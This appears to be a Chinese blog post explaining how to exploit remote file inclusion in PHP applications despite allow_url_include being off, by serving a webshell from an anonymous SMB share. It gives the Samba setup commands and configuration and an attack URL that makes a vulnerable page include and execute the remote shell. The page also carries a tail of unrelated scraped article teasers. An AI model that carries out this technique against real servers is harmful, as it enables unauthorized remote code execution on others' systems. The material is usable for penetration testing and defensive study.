利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制
前言
文章讲诉了如何绕过远程URL包含限制。在PHP开发环境php.ini配置文件里”,allow_url_include“为“off”的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件。但是使用SMB依旧可以加载。
攻击思路
攻击者需要配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP Webshell。
配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。
配置SMB服务器的匿名读访问权
利用有漏洞的PHP程序访问SMB
PHP环境设置
在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 设为 "Off"。
当前配置PHP版本为“5.5.11”:
确定PHP不允许远程文件包含
试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI。
配置匿名读访问SAMBA服务器(Linux)
使用下面提到的命令安装SAMBA服务器:
创建SMB共享目录(/var/www/html/pub/)
mkdir /var/www/html/pub/
配置SMB共享目录的权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行以下提到的命令删除SAMBA服务器配置文件的默认内容
echo > /etc/samba/smb.conf
将下面提到的内容放在'/etc/samba/smb.conf'文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重新启动SAMBA服务器
service smbd restart
成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不需要凭据验证。
\\192.168.0.3\
在SMB共享中托管PHP Web shell
在目录'/var/www/html/pub'
中托管PHP shell
利用Windows Explorer打开SMB访问 Win+R直接访问。
\\192.168.0.3\ica\
攻击文件包含漏洞参数
利用SMB的php webshell路径传入文件包含漏洞的参数里。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
SMB共享中获取Web shell并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。
利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制的更多相关文章
- WinForm程序中两份mdf文件问题的解决
在项目中用程序中嵌入mdf文件的方式来进行SQLServer数据库开发非常方便,用来发布开源项目等很方便,点击就可以运行,免部署,特别是在教学中用起来更加方便,老师不用先将数据库文件detach再发给 ...
- 程序中的.htaccess文件是做什么的
程序中的.htaccess文件是做什么的 一.总结 一句话总结: htaccess=ht(Hypertext)+access=超文本入口 覆盖Apache服务器的默认配置 .htaccess(超文本访 ...
- eclipse 远程文件实时同步,eclipse远程部署插件
[转自] http://zhwj184.iteye.com/blog/1842730 eclipse 远程文件实时同步,eclipse远程部署插件 github地址:https://github.co ...
- 如何在Hadoop的MapReduce程序中处理JSON文件
简介: 最近在写MapReduce程序处理日志时,需要解析JSON配置文件,简化Java程序和处理逻辑.但是Hadoop本身似乎没有内置对JSON文件的解析功能,我们不得不求助于第三方JSON工具包. ...
- WPF程序中App.Config文件的读与写
WPF程序中的App.Config文件是我们应用程序中经常使用的一种配置文件,System.Configuration.dll文件中提供了大量的读写的配置,所以它是一种高效的程序配置方式,那么今天我就 ...
- 15.ASP.NET Core 应用程序中的静态文件中间件
在这篇文章中,我将向大家介绍,如何使用中间件组件来处理静态文件.这篇文章中,我们讨论下面几个问题: 在ASP.NET Core中,我们需要把静态文件存放在哪里? 在ASP.NET Core中 wwwr ...
- 在MFC程序中使用XML文件配置工具栏
现在我发现使用Visual Studio的资源编辑器进行编辑资源有着诸多的不便:首先是任何资源的变动一般变动代码,不利于系统维护,其次Visual Studio的资源编辑器的本身的功能有限,也不利于界 ...
- 微信小程序中的app文件介绍
[app] 一.app.json 1.对当前小程序的全局配置 2.页面路径.界面表现.网络超时时间.底部 tab 等 { "pages":[ "pages/index/i ...
- libcurl开源库在Win32程序中使用下载文件显示进度条实例
一.配置工程引用libcurl库 #define CURL_STATICLIB #include "curl/curl.h" #ifdef _DEBUG #pragma comme ...
随机推荐
- python - Flask 上下文管理 流程
上下文管理: - 请求上下文 (ctx=RequestContext()) : request/session - App上下文 (app_ctx=AppContext()) : a ...
- 发布一个在Web下输入密码时提示大写锁定键的Jquery插件
功能介绍:在Web下输入密码时提示大写锁定键,封装成jq插件方便有需要的同学!使用:$("#txtPWD").capsLockTip();截图预览:代码(2012-05-03 10 ...
- python AES对称加密
1.首先需要安装第三方库 pip install pycryptodome 2.实例代码,亲测可用 # coding:utf-8 import base64 from Crypto.Cipher im ...
- 微信小程序之小技能篇(一)
1,三目运算改变class值: <view class="{{flag ? 'change' : 'change_after'}}">改变字体颜色</view&g ...
- Tcl在Vivado中的应用
转载: https://blog.csdn.net/avrmcu1/article/details/43446529?utm_source=blogxgwz6
- bootstrap Table 的使用方法
然后添加css 找到bootstrap-table.min.css 添加进去 再添加JS Js添加时 按照顺序添加 然后初始化bootstrap-table <script type=&qu ...
- Maven Module和Maven Project的区别
1.maven project和module相当于父子关系.2.当新建的项目中不存在父子关系时使用project.3.当项目中存在父子关系时用project做父工程,module做子工程,module ...
- kindeditor如何使用
亲测能用: URL地址:https://jingyan.baidu.com/article/ab69b270b287332ca7189f19.html
- 区间连续长度的线段树——洛谷P2894 [USACO08FEB]酒店Hotel
https://www.luogu.org/problem/P2894 #include<cstdio> #include<iostream> using namespace ...
- hadoop笔记-hdfs文件读写
概念 文件系统 磁盘进行读写的最小单位:数据块,文件系统构建于磁盘之上,文件系统的块大小是磁盘块的整数倍. 文件系统块一般为几千字节,磁盘块一般512字节. hdfs的block.pocket.chu ...